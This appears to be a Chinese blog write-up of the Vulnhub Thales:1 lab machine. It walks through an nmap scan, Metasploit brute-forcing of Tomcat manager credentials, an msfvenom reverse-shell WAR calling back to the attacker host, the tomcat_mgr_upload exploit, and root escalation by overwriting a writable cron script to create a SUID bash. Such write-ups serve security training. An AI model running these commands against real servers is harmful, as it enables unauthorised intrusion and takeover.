Vulnhub: Thales:1靶机

kali:192.168.111.111

靶机:192.168.111.132

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.132

image

8080端口为tomcat

image

使用msf爆破账号密码

msfdb run
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts 192.168.111.132
run

image

登录后台后上传war包拿shell

#生成war包
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.111.111 lport=4444 -f war -o test.war

image

查看war包中的反弹shell

7z l test.war

image

上传war包

image

image

访问http://192.168.111.132:8080/test/hlfjpccnnzt.jsp获得反弹shell

image

或者使用msf的exploit/multi/http/tomcat_mgr_upload模块也可以拿shell

msfdb run
use exploit/multi/http/tomcat_mgr_upload
set rport 8080
set rhosts 192.168.111.132
set httpusername tomcat
set httppassword role1
set FingerprintCheck false
run

image

提权

在/home/thales/notes.txt提示一个脚本,该脚本有可写权限

image

用pspy64收集到存在计划任务执行/usr/local/bin/backup.sh

image

修改该脚本提权

echo 'cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash' > /usr/local/bin/backup.sh
/tmp/bash -p

image

image

posted @   ctostm  阅读(15)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!
点击右上角即可分享
微信分享提示